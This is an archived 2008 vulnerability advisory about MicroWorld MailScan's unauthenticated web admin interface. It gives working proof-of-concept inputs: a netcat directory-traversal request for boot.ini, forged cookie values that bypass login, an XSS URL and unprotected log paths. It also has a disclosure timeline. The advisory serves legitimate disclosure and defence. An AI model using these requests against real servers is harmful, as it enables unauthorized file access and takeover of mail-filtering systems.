SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

MicroWorld MailScan - Multiple Vulnerabilities within Admin-Webinterface


Arrow  SecurityAlert : 4172
Arrow  CVE : CVE-2008-3726
Arrow  CVE : CVE-2008-3727
Arrow  CVE : CVE-2008-3728
Arrow  CVE : CVE-2008-3729
Arrow  CWE : CWE-79
Arrow  CWE : CWE-22
Arrow  CWE : CWE-264
Arrow  CWE : CWE-287
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : Yes
Arrow  Exploit Available : No
Arrow  Credit : Oliver
Arrow  Published : 22.08.2008

Arrow  Affected Software : MicroWorld Technologies, Mailscan, 5.6.a



Arrow  Advisory Content :  

Please find attached the advisory regarding MicroWorld's MailScan for
Mailservers.

Cheers,

Oliver



MicroWorld MailScan - Multiple Vulnerabilities within Admin-Webinterface
========================================================================


>> Affected Products <<


- MailScan for Mail Servers

* Version: 5.6.a with espatch1
* Win32 Platform

Other Mailscan Products, Versions, also, if available
for other platforms, were not tested.


>> Product/Company Information <<


From MicroWorld's website: "MailScan 5.6 is the world's most
advanced Real-Time AntiVirus and AntiSpam solution for Mail Servers.
The software safeguards organizations against Virus, Worm, Trojan and
many other malware breeds with futuristic and proactive technologies.
Employing an array of intelligent filters, MailScan offers powerful
protection against Spam and Phishing mails along with comprehensive
Content Security."

http://www.microworld.de
http://www.mwti.net

>> Vulnerabilities <<


MailScan offers "Web Based Administration". The administration console
(Server.exe) is running as an http service on tcp port 10443 with
LocalSystem privileges. The communication is plain http without
SSL/TLS.

The interface is vulnerable to the attacks described below. All attacks

do *not* require authentication.


-- >> Directory Traversal <<

It is possible to access files on the system outside of the webroot
directory with privileges of the LocalSystem account:

echo -e "GET /../../../../boot.ini HTTP/1.0\r\n\r\n" | nc <server>
<port>


-- >> Authentication bypass <<

After a login attempt with an invalid username and password, the
application
is setting a cookie at the webclient with the following content:

Set-Cookie: User=admin; path=/
Set-Cookie: login=true; path=/
Set-Cookie: IsAdmin=false; path=/
Set-Cookie: IP=; path=/


Providing valid username and password will give a cookie with the
following content:

Set-Cookie: User=admin; path=/
Set-Cookie: login=true; path=/
Set-Cookie: IsAdmin=true; path=/
Set-Cookie: IP=; path=/

It is sufficient to set the cookie as shown above to get authenticated
on the
admin interface. The user "admin" is a default account, with a password
set during
installation.

*BUT* requesting a resource on the webserver *without* supplying a
cookie will
also grant access to the requested resource. The attacker just needs to
know
the path to the resource.



-- >> Cross-Site-Scripting (XSS) <<


http://ip:10443/<script>alert("No_Problem_its_just_an_admin_interface")</sc
ript>



-- >> Access to Logfile <<


It is possible to access the logfiles of the application because the
folder
"/LOG" inside the webroot ("C:\Program Files\Common
Files\MicroWorld\WebServer")
is not protected.... note that this does not require the directory
traversal,
mentioned before and thus is imho a separate vuln.
The logfiles contain different information, like installation path, ip
adresses,
and error messages.

http://ip:10443/LOG/W072808.LOG (Format seems to be
W:Month:Date:year)

and

http://ip:10443/LOG/Weblog.LOG

>> History <<

28. July 2008 - Touching base with MicroWorld's Support via Messenger
28. July 2008 - Sending High-Level description of vulns and RFP-Policy to
agree
30. July 2008 - MicroWorld agreed to the policy
30. July 2008 - Detailed description and PoC-Script creating an admin user
without
authenticatin send to Microworld
01. Aug. 2008 - Asking Microworld if they were able to reproduce
02. Aug. 2008 - MicroWorld answered: "Not Yet"
05. Aug. 2008 - Asking Microworld if they were able to reproduce, and if
yes, when
a patch will be available
13. Aug. 2008 - No response from Microworld; I informed them that i will
publish
an advisory within the next days
15. Aug. 2008 - Advisory release


>> Credits <<

mail: Oliver-dot-karow-at-gmx-dot-de
advisory: http://www.oliverkarow.de/research/mailscan.txt
blog:
http://oliver.greyhat.de/2008/08/15/multiple-vulnerabilities-within-mailsca
n-admin-interface/






Arrow  References :

http://xforce.iss.net/xforce/xfdb/44517
http://www.securityfocus.com/bid/30700
http://www.oliverkarow.de/research/mailscan.txt
http://secunia.com/advisories/31534
http://marc.info/?l=bugtraq&m=121881329424635&w=2




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.